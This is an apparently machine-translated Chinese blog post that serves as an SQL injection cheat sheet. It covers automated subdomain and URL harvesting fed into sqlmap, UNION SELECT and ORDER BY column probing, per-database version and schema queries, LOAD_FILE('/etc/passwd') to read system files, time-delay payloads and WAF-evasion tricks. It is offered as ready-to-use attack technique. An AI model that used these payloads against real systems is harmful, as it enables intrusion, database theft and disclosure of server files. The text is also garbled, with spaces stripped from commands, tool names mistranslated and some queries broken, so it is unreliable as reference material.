当前位置: 首页 > 后端技术 > Java

我要悄悄注入,然后惊艳众人!(SQL快速注入漏洞技巧)

时间:2023-04-01 22:30:21 Java

1。使用Burpsuite:1.使用burpsuite捕获请求。2.将请求发送到burp扫描仪。3.进行主动扫描。4.扫描完成后,查找已检测到的SQL漏洞。5.手动尝试SQL注入负载。6.使用SQLMAP加快进程。2、使用waybackurls等工具:1.sublist3r-dtarget|tee-a域(您可以使用其他工具,如finddomain、assetfinder等)2.cat域|httpx|tee-aalive3.活猫|返回网址|tee-aurls4.gfsqliurls>>sqli5.sqlmap-msqli--dbs--batch6.usetamperscripts3.使用启发式扫描获取隐藏参数:1.在域上使用子域枚举工具。2.使用hakcrawler、waybackurls、域和子域的gau收集所有url。3.您可以使用上述第2点中描述的相同方法。4.使用Arjun扫描url中隐藏的参数。5.使用--urls标志来包含所有url。6.检查参数是否为https://domain.com?=7.向文件发送请求并通过sqlmap处理。4.使用不受信任的输入或特殊字符产生错误:1.提交单引号字符'&查找错误。2.提交特定于SQL的查询。3.提交布尔条件,例如or1=1andor1=0,并查看应用程序的响应。4.提交某些导致时间延迟的有效负载。5.使用orderby或groupby或有以下条件搜索总列数:提交一系列ORDERBY子句如'ORDERBY1--'ORDERBY2--'ORDERBY3--递增指定的列索引,直到发生错误。6.使用联合运算符查找易受攻击的列:提交一系列UNIONSELECT有效负载。'UNIONSELECTNULL--'UNIONSELECTNULL,NULL--'UNIONSELECTNULL,NULL,NULL--(使用NULL可以最大化payload成功的概率。NULL可以转换为每一种常用的数据类型。)7.使用concat()或group_concat()提取database(),version(),user(),UUID()等基本信息1.数据库版本OracleSELECTbannerFROMv$versionSELECTversionFROMv$instanceMicrosoftSELECT@@versionPostgreSQLSELECTversion()MySQLSELECT@@version2.数据库内容OracleSELECT*FROMall_tablesSELECT*FROMall_tab_columnsWHEREtable_name='TABLE-NAME-HERE'MicrosoftSELECT*FROMinformation_schema.tablesSELECT*FROMinformation_schema.columnsWHEREtable_name='TABLE-NAME-HERE'PostgreSQLSELECT*FROMinformation_schema.tablesSELECT*FROMinformation_schema.columnsWHEREtable_name='TABLE-NAME-HERE'MySQLSELECT_s*FROMinformation.tablesSELECT*FROMinformation_schema.columnsWHEREtable_name='TABLE-NAME-HERE'3.显示版本、用户和数据库名称'AND1=2UNIONALLSELECTconcat_ws(0x3a,version(),user(),database())4。使用group_concat()函数连接返回结果的所有行'unionall从information_schema.tables中选择1,2,3,group_concat(table_name),5,6,其中table_schema=database()–8。使用load_file()访问系统文件。然后提前开发:'UNIONALLSELECTLOAD_FILE('/etc/passwd')9.绕过WAF:1.在SQL查询前使用Nullbyte%00'UNIONSELECTpasswordFROMUsersWHEREusername-'xyz'--2.useSQL内联注释序列'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/用户名/**/LIKE/**/'xyz'--3.URL编码例如:/URLencodedto%2f*URLencodedto%2a如果单一编码不起作用,也可以使用双重编码。如果其余的不起作用,请使用十六进制编码。4、改变大小写(大写/小写)5、使用SQLMAP篡改脚本。它有助于绕过WAF/IDS/IPS。6.时间延迟:Oracledbms_pipe.receive_message(('a'),10)MicrosoftWAITFORDELAY'0:0:10'PostgreSQLSELECTpg_sleep(10)MySQLSELECTsleep(10)7.有条件的延迟:OracleSELECTCASEWHEN(YOUR-CONDITION-HERE)THEN'a'||dbms_pipe.receive_message(('a'),10)ELSENULLENDFROMdualMicrosoftIF(YOUR-CONDITION-HERE)WAITFORDELAY'0:0:10'PostgreSQLSELECTCASEWHEN(YOUR-CONDITION-HERE)THENpg_sleep(10)ELSEpg_sleep(0)ENDMySQLSELECTIF(YOUR-CONDITION-HERE,sleep(10),'a')